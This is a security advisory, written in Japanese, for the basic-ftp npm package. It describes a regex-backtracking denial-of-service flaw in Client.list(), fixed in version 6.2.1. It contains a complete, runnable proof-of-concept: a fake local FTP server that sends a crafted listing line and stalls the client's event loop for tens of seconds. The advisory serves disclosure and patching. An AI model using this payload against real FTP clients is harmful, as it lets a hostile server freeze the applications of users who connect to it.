basic-ftp: クライアントの`Client.list()`関数における、CPU使用率が2次関数的に増加するDoS(サービス拒否)脆弱性。Unix形式のディレクトリリストパーサー(`RE_LINE`のバックトラック)
## 概要
`Client.list()`関数は、`parseListUnix.js`にあるUnix形式のパーサーを使って、サーバーのディレクトリリストを解析します。この関数の`RE_LINE`正規表現には、2つの隣接する`(\S+(?:\s\S+)*)`グループ(所有者名、次にグループ名)があり、その後に必須の数値サイズグループが続きます。ある行が有効なリストのプレフィックスで始まるものの、その後のトークンがサイズと日付のフィールドを満たさない場合、エンジンは、それらのトークンを2つのグループ間で分割するすべての方法を試行錯誤し、最終的に失敗するまでバックトラックするため、1行の解析には、おおよそ行の長さの2乗に比例する時間(O(n²))がかかります。
クライアントがリストを表示するサーバーは、そのリストの内容を制御できるため、Node.jsのイベントループを任意の時間ブロックするような行を返すことができます。`parseList()`関数は、最後の空白でない行からパーサーを選択し、すべての行に対して実行するため、通常の行が最後に配置されるとUnixパーサーが選択され、巧妙に作成された行が前に配置されると、2次関数のマッチングが発生します。
## 実証コード
`npm i basic-ftp && node repro.js`:
```js
const net = require("net"), ftp = require("basic-ftp");
const KB = Number(process.env.LINE_KB || 128);
const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!";
const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n";
const server = net.createServer(c => {
c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = "";
c.on("data", d => { buf += d; let i;
while ((i = buf.indexOf("\r\n")) !== -1) {
const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);
if (cmd.startsWith("USER")) c.write("331 .\r\n");
else if (cmd.startsWith("PASS")) c.write("230 .\r\n");
else if (cmd.startsWith("FEAT")) c.write("211-x\r\n UTF8\r\n211 End\r\n");
else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); });
ds.listen(0, "127.0.0.1", () => c.write(`229 (|||${ds.address().port}|)\r\n`)); }
else if (cmd.startsWith("LIST")) { c.write("150 .\r\n"); setTimeout(() => c.write("226 .\r\n"), 50); }
else c.write("200 .\r\n"); } });
});
server.listen(0, "127.0.0.1", async () => {
const client = new ftp.Client(0);
await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" });
let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();
await client.list(); clearInterval(hb);
console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);
process.exit(0);
});
```
上記のコードを実行すると、`list() blocked 39.75s; heartbeats fired: 0` と表示されます。これは、通常の状態でのリスト表示にかかる時間(約0.06秒)と比較して非常に長い時間です。この間、イベントループが完全に停止しています。処理にかかる時間は、データサイズに対して二次関数的に増加します。例えば、32 KB のデータでは約 2.4 秒、64 KB のデータでは約 9.6 秒、128 KB のデータでは約 39 秒かかります。`maxListingBytes` のデフォルト値は 40 MB であり、これを超えるサイズのデータも扱えるため、1 MB 程度のデータでも数十分間の処理時間が発生する可能性があります。
## 影響
デフォルト設定で、主要なAPIを使用しているにもかかわらず、ディレクトリの一覧表示を行うと、プロセス全体が停止することがあります。これは、GHSA-rp42-5vxx-qpwrと同様の「悪意のあるFTPサーバーがクライアント側でサービス拒否を引き起こす」という問題であり、`Client.list()`関数で発生し、深刻度が高いと評価されています。ここで追加されたバイト制限は、メモリを制限するものであり、パーサーのCPU負荷を制限するものではありません。
影響を受けるパッケージ:
- npm (JavaScript) basic-ftp: 影響を受けるバージョンは6.2.0以下、6.2.1で修正済み。